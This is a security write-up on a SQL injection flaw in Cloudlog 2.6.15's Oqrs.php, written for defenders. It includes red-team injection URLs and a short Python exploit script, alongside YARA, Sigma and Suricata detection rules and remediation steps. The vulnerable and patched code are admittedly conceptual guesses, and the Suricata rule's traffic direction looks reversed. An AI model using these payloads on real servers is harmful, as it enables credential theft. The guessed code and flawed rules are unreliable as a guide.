CVE-2024-48255

Executive Summary

CVE-2024-48255 is a critical SQL injection vulnerability discovered in Cloudlog version 2.6.15. The flaw resides in the Oqrs.php file, specifically within the get_station_info function, where the station_id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the vector analysis, it is rated as Critical (9.8). No official patch or advisory has been released by the vendor at this time.

Supply Chain & Package Security

Cloudlog is a PHP-based web application for amateur radio logging. The vulnerability is in the core application code, not in a third-party package. However, organizations using Cloudlog should treat this as a high-risk supply chain issue, as the application may be deployed in environments with sensitive operational data.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The exploit cannot affect other components.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the Oqrs.php file. The get_station_info function accepts a station_id parameter from the HTTP request (likely via GET or POST) and directly concatenates it into a SQL query without any sanitization or parameterized binding.

Vulnerable Code Path (Conceptual):

// Oqrs.php
function get_station_info() {
    $station_id = $_REQUEST['station_id'];
    $query = "SELECT * FROM stations WHERE id = " . $station_id;
    $result = mysqli_query($conn, $query);
    // ...
}

An attacker can inject SQL by providing a value like:

1 UNION SELECT username, password, NULL, NULL FROM users

This would return user credentials in the application's response.

Vulnerable vs. Patched Code

Vulnerable Code (Cloudlog 2.6.15):

// Oqrs.php
$station_id = $_REQUEST['station_id'];
$query = "SELECT * FROM stations WHERE id = " . $station_id;
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// Oqrs.php
$station_id = intval($_REQUEST['station_id']);
$query = "SELECT * FROM stations WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $station_id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patch uses intval() to force integer input and parameterized queries to prevent injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Cloudlog 2.6.15.
• Network access to the web application.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/Oqrs.php?action=get_station_info&station_id=1
2. Confirm injection by sending a payload that causes a time delay:

   http://target/Oqrs.php?action=get_station_info&station_id=1 AND SLEEP(5)
   

3. Extract data using UNION-based injection:

   http://target/Oqrs.php?action=get_station_info&station_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100
   

   (Adjust column count based on the actual table structure.)

Full Exploit Script (Python):

import requests
import sys

target = sys.argv[1]
url = f"{target}/Oqrs.php?action=get_station_info&station_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

response = requests.get(url)
print(response.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for unusual SQL keywords in the station_id parameter (e.g., UNION, SELECT, SLEEP, OR 1=1).
2. Deploy a WAF rule to block requests containing SQL injection patterns.
3. Enable database query logging to identify anomalous queries.

Incident Response:

1. Isolate the affected server.
2. Review database logs for unauthorized data access.
3. Rotate all credentials stored in the database.
4. Apply the hypothetical patch or disable the vulnerable functionality.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /Oqrs.php with action=get_station_info and station_id containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs.
• File IOCs:
  • Modified Oqrs.php file (if attacker uploaded a webshell).
  • Suspicious files in the web root (e.g., shell.php, cmd.php).
• Log IOCs:
  • Web server logs showing 400 or 500 errors from SQL injection attempts.
  • Database logs showing queries with UNION, SELECT, FROM, WHERE in unusual contexts.

Detection Engineering

YARA Rule

rule CVE_2024_48255_Cloudlog_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Cloudlog Oqrs.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48255"
    strings:
        $sqli1 = /station_id=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|SLEEP|BENCHMARK)/i
        $sqli2 = /Oqrs\.php.*action=get_station_info/i
    condition:
        $sqli2 and $sqli1
}

Sigma Rule

title: Cloudlog Oqrs.php SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Cloudlog Oqrs.php
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-48255
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "Oqrs.php"
            - "action=get_station_info"
        cs-uri-query|re: '(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|SLEEP|BENCHMARK)'
    condition: selection
falsepositives:
    - Legitimate use of station IDs containing these strings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48255 Cloudlog SQL Injection Attempt"; flow:to_server,established; content:"Oqrs.php"; http_uri; content:"action=get_station_info"; http_uri; pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|SLEEP|BENCHMARK)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /Oqrs.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Apply input validation: If you have access to the source code, modify Oqrs.php to use parameterized queries and validate station_id as an integer.
3. Upgrade: Monitor the Cloudlog project for an official patch and upgrade immediately when available.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct regular code reviews and penetration testing.
• Use a database user with minimal privileges for the web application.

Workaround (if patching is not possible):

• Remove or rename Oqrs.php if the functionality is not critical.
• Restrict access to the application via VPN or IP whitelisting.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert